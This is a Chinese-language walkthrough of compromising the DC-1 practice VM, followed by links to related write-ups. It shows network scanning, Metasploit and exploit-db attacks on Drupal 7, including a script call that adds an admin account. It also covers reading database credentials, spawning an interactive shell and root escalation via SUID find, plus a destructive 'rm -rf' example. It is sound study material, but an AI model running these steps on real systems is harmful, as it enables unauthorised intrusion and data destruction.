DC-1靶机渗透测试

对着镜子大喊三声“太菜了”“太菜了”“太菜了”

DC系列靶机的第一篇。边学习边日靶机边进步,摸爬滚打着前行。

内容不只是日靶机,还有其中遇到的知识点,记录下来。

注意攻击机要与靶机在同一网段下,桥接模式和NAT模式都可以的,我用的是NAT模式。

出发之前,请记住我们要做什么:进入靶机,拿到5个flag

0x01 信息收集

是的没错,没有登录账号密码给你。因为kali与靶机在同一网段下,用nmap扫一下吧:

执行:nmap 172.66.66.0/24,结果如下,确定了靶机ip为 172.66.66.131

加参数 -A -sV再次扫描获取更多信息,如下图:

ssh-hostkey: 是用于在SSH协议中对计算机进行身份认证的加密密钥。更多详情点击 hostkey

已知信息:

1、主机IP 172.66.66.131

2、开放端口及服务 22 --> ssh 80---> Drupal 7 111---> rpcbind

3、robots.txt 中禁止访问的部分内容展示

nmap 使用 -sS 选项 ,执行一次隐秘的TCP扫描,以确定某个TCP端口是否开放。

​ 使用 -Pn选项,告诉nmap不适用Ping命令预习判断主机是否存活,而是默认所有主机都是存活的,因为很多主机会禁用ping,导致ping不通,误认为主机不存活。-Pn 选项可以避免漏掉许多存活的主机。

浏览器输入ip访问进去,看到感觉像是个 名叫 Drupal的CMS管理系统,打开Wappalyzer插件看到网站基本的一些基本信息,看一下有个印象。

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。推荐使用的是 mysql数据库,Drupal 7对于musql数据库只支持MySQL5.0.15或更高,而且必须在php上设置PDO database扩展;

国外三大开源cms :drupal

robots.txt ,不能放过,进去看看:

目录扫描,windows下有御剑,linux下有dirb。也可以使用dirb目录扫描工具,操作一波看看。


插入一下学习dirb的使用方法。(dirb扫的好慢呀...)

dirb目录扫描工具

  1. 常规扫描 dirb 目标 字典路径 如:dirb http://172.66.66.131 /root/dir.txt 缺省路径就使用默认字典
  2. 设置ua(user agent)和cookie dirb 目标 字典路径 -a “ua” -c “cookie”
  3. 使用代理和输出结果 dirb 目标 字典路径 -p ip:port -o result.txt
  4. 设置附加后缀 dirb 目标 字典路径 -X test(这样的话字典内容每个都加上了test后缀)
  5. 设置毫秒延迟 dirb 目标 字典路径 -z 1000 设置后1000毫秒访问一次,因为扫描速度太快可能会被目标的安全程序禁掉。

放弃思考,上Metasploit框架,输入命令 msfconsole回车(好吧,等我有想法了再回来思考,我太菜了,下课去补补msf的知识)

maf5 > search drupal 查找相关漏洞,选择利用年份最近的一个(最新的漏洞)。

有2018年的和2019年的两个比较新的漏洞,都试试吧,练一下。

进去之后 ls 看一下看到了,有个叫 flag1.txt 的文件,cat一下看看,内容提示说去看 配置文件。重点关注一下,include,sites,web,config 等文件。

这里写入交互shell

meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'

然后连接数据库

mysql -u dbuser -p   回车输入密码 R0ck3t
use drupaldb;
show tables;

看到有 users 表,进去看看

select * from users\G  #末尾的 \G 是结果按行打印输出,这样方便查看

太菜了,密码破解不出来。

searchsploit drupal

找到了一个攻击脚本,可以添加 admin 账号 。且靶机当前drupal 7 版本在适用范围里。

searchsploit 是一个本地的漏洞库,kali里默认集成了,msf里也可以用。在里面可以找相关的漏洞,以及漏洞利用程序和shellcode 。

cat看一下攻击脚本的详细信息。

cat /usr/share/exploitdb/exploits/php/webapps/34992.py

使用方法,三个参数 -t ---> target -u ---> username -p ---> pwd

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://172.66.66.131 -u admin1 -p admin1



执行成功,网页端登录进去,找到了flag3 。

根据提示意思是要去看 etc/shadow 文件。先来看看/etc/passwd 文件

/etc/passwd 文件是所有用户都读权限。所以密码放在里面显然不合适,于是有了 /etc/shadow 文件。

passwd 文件里的每一行都很规则,用冒号分隔成了7个部分 ,分别对应的是

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

注意最后的字段,该字段中除了/bin/bash外还有/sbin/nologin比较多,它表示不允许该账号登录。如果你想建立一个账号不让他登录,那么就可以把该字段改成/sbin/nologin,默认是/bin/bash.

flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bashn/false

其中密码字段的 x 表示,该用户设置了密码。

所有者是root,root有读写权限。

用冒号 : 分隔成9个字段。

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

加密密码字段: 这里是经过加密后的密码,linux现在采用的是SHA512散列加密算法,以前用MD5或者DES加密算法。

注意,这串密码产生的乱码不能手工修改,如果手工修改,系统将无法识别密码,导致密码失效。很多软件透过这个功能,在密码串前加上 "!"、"*" 或 "x" 使密码暂时失效。

所有伪用户的密码都是 "!!" 或 "*",代表没有密码,该用户是不能用来登录的。当然,新创建的用户如果不设定密码,那么它的密码项也是 "!!",代表这个用户没有密码,不能登录。

所以到这里,linux提权就用上了,需要在靶机上搞到root权限。

在看提权笔记的时候,随便输了个命令进去 ls -alhR /home/ 按下回车,惊喜出现了,意外发现了 flag4.txt

还是乖乖回来提权吧。这次利用suid提权。

linux suid提权

为什么要提权?一般拿到shell之后,权限都不会很高,一些命令需用到root权限执行。

SUID的功能,在U所有者的执行权限位置变成了S

只有 可执行(可X权限)的二进制程序才能设定SUID权限。

命令执行者对该程序拥有X(执行)权限,在执行程序时候获得该程序属主的身份。SUID权限只在程序执行中有效。

举例说明:像是passwd命令,ls -l /usr/bin/passwd 能看到权限是 -rws r-w r-x 在原本的X执行权限位置成了 S ,说明有SUID权限,passwd命令修改的是shadow文件。再看shadow文件权限,ls -alh /etc/shadow 看到是

-rw- r-- --- 只有root写入修改,但为什么普通用户只有r权限却能修改自己的密码 ? 就是因为有suid权限。

所以提权第一步,先找到目标系统中查找具有root权限SUID权限的二进制文件,方可变身root .

尝试使用以下命令进行查找:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

  1. / 表示从根目录开始并查找每一个目录文件
  2. -perm 表示搜索随后的权限
  3. -u = s 表示查找suid权限的二进制文件
  4. -type f 查找文件类型是 f (文件)
  5. 2 文件描述符,( 0 1 2三种),2是错误(stderr标准错误,用 2> 2>>) 2>/dev/null 把错误输出丢掉
  6. -4000 这个要重点理解,篇幅较长,放在文章末尾

就选择用这个吧,执行命令:find . -exec "/bin/sh" \; 提权成功,输入 whoami 查看,可见是root ,再到/rootcat就能看到thefinalflag.txt

find命令的重要参数-exec command:command是其他指令,-exec接其他指令,对find得到的结果进行处理。{}代表的是"find查找到的结果",如下图所示

find根据条件找到的结果,放到{}位置,拼接上 ls -l 命令,实现对查询结果进行操作。举几个栗子:如

find /root/.ssh -exec ls -l {} ;

删除

find /root -size 10M -exec rm -rf {} ;

# 重命名

find /root -name tom -exec mv {} tom_rename ;

# 移动

find /root -name tom_rename -exec mv {} /tmp ;

可见,其实-exec {} \;{}是非必须的, 比如find . -exec "/bin/sh" \;这时候附加命令是打开/bin/sh并没有要对find的结果进行操作。

最后

积累到这些:

  1. 数据库配置文件明文写着数据库用户名和密码 ----> 去找数据库配置文件

  2. meterpreter>shell 直接敲入shell 会连接上服务器的shell,这是通过http协议获得的shell连接,非持久性的连接,此方式下无法本地登录mysql,需要一个持续的交互的shell,使用python -c 'import pty;pty.spawn("/bin/bash")'

  3. netstat -anpt 查看端口开放情况

  4. 使用drupal自带的脚本php scripts/password-hash.sh mima重新生成密码(mima)的密文覆盖原admin用户的密码,因为爆破很耗时,覆盖更省事。

  5. find命令可以调用外部命令,所以提权,多多瞄一下find命令。-exec {} ;

  6. /bin/bash 与 /bin/bash 是什么关系?ls -al /bin/sh就能看到啦

    root@kali:~# ls -alh /bin/sh

    lrwxrwxrwx 1 root root 4 10月 4 15:06 /bin/sh -> dash 得知/bin/sh是/bin/bash 的软链接

    使用 sh 调用执行脚本相当于打开了bashPOSIX 标准模式

  7. #!/bin/sh 指定命令解释器,#!表示后面的内容,搜寻解释器的绝对路径,如果发现了命令解释器,则会创建一个关于该解释器的进程,解释并执行当前脚本的语句,可以是#!/bin/sh#!/bin/more,也可以是#!/usr/local/php5/bin/php

  8. find 的-perm参数讲解: -perm {+mode -mode mode /mode} 有四种权限表示形式可以选(用mode代替具体数值来讲解)

    +mode 表示部分大于权限值 。

    -mode表示完全满足权限值(可以高于该权限值,也就是大于等于权限值的意思)。

    mode表示正好等于该权限值。

    /mode只要有文件权限都给你匹配出来。

    -perm mode中的mode值每一位都转换成二进制,比如644就是110 100 100 ,在匹配结果过程中,+mode是 只看二进制数字1,查找对象的权限用二进制表示,只要有一个1符合,就能匹配出来,不管0的,只看1

    -mode是 只看二进制数字1,查找对象的权限用二进制表示,必须所有 1的位置都符合,才能匹配出来,不管0的,只看1

    总的来说,这个符号-就是查找比给定权限值还充足的权限的文件(大于等于给定权限值)

    举个例子:find / -user root -perm -4000 -print 2>/dev/null -4000 是--s --- ---表示有suid权限的,换成二进制,有1的位置必须满足,那查找的结果一定是 具有suid权限的,或者更高权限,但是一定包含了suid权限在里面。

  9. open系统调用返回的文件描述符是非负整型;每一个进程都有自己的文件描述符集合;当创建进程时,通常有3个打开文件描述符(0,1,2),0代表标准输入,1代表标准输出,2代表标准错误,它们统称为标准IO;当多个描述符指向同一个文件,每个文件描述符仍保持他独特的性能;由于文件描述符在一个进程中是特有的,因此不能在多个进程中间实现共享,而唯一的例外是在父/子进程之间,当一个进程调用fork时,调用fork时打开的所有文件在子进程和父进程中仍然是打开的,而且子进程写入文件描述符会影响到父进程的同一文件描述符,反之亦然.

  10. linux提权,这个知识点好大,打算另外开一片笔记专门整理,后续也会用到

  11. 本地监听与反弹shell:未完待续...

DC-1 靶机渗透测试的更多相关文章

  1. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  2. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  3. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  4. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  5. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  6. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. 解决SpringMVC重复提交的问题

    方法一:通过重定向采取请求转发的方式完成表单内容的添加会造成内容的重复插入.当向Servlet发送一条增加记录的请求后,servlet首先向数据库增加一条记录,然后又从数据库中查询出所有数据,接着转发 ...

  2. AS打包签名

    1.进入项目,然后点击菜单栏的Build  -->Generate  Signed APK... (如下图所示) 2.点击之后会出现下图,我这个是我以前有过KEY了,如果你以前没有过的话,都是空 ...

  3. 垃圾处理器-CMS

    一.简介 CMS垃圾收集器是一款用于老年代的,使用复制-清除-整理算法的垃圾收集器. 二.GC阶段 1.初始化标记(STW) 暂停应用程序线程,遍历 GC ROOTS 直接可达的对象并将其压入标记栈( ...

  4. idea debug无法启动 Error running 'Tomcat8': Unable to open debugger port (127.0.0.1:50168): java.net.SocketException "socket closed

    在日志里显示在 event log 里的 Error running 'server_web': Address localhost:1099 is already in use 显示1099单口已被 ...

  5. springCloud学习05之api网关服务zuul过滤器filter

    前面学习了zuul的反向代理.负载均衡.fallback回退.这张学习写过滤器filter,做java web开发的对filter都不陌生,那就是客户端(如浏览器)发起请求的时候,都先经过过滤器fil ...

  6. MySQL中的联表查询与子查询

    0.准备数据 1.内连接:INNER JOIN 2.左连接:LEFT JOIN 3.右连接:RIGHT JOIN 4.USING子句 扩展知识点: 0.表别名的使用: 1.group by的用法 2. ...

  7. java基础---设计模式(2)

    结构型模式 出处:https://blog.csdn.net/zhangerqing/article/details/8239539 一.适配器模式 适配器模式将某个类的接口转换成客户端期望的另一个接 ...

  8. python使用笔记29--代码驱动

    1 import unittest 2 import requests 3 import jsonpath 4 import time 5 import nnreport 6 7 def get_va ...

  9. Python之手把手教你用JS逆向爬取网易云40万+评论并用stylecloud炫酷词云进行情感分析

    本文借鉴了@平胸小仙女的知乎回复 https://www.zhihu.com/question/36081767 写在前面: 文章有点长,操作有点复杂,需要代码的直接去文末即可.想要学习的需要有点耐心 ...

  10. matlab——线性规划

    @ 目录 前言 一.基本概念 二.matlab实现 1.常用函数 2.常见变形 参考书目 前言 线性规划是数学规划中的一个重要分支,常用于解决如何利用现有资源来安排生产,以取得最大经济效益的问题.本文 ...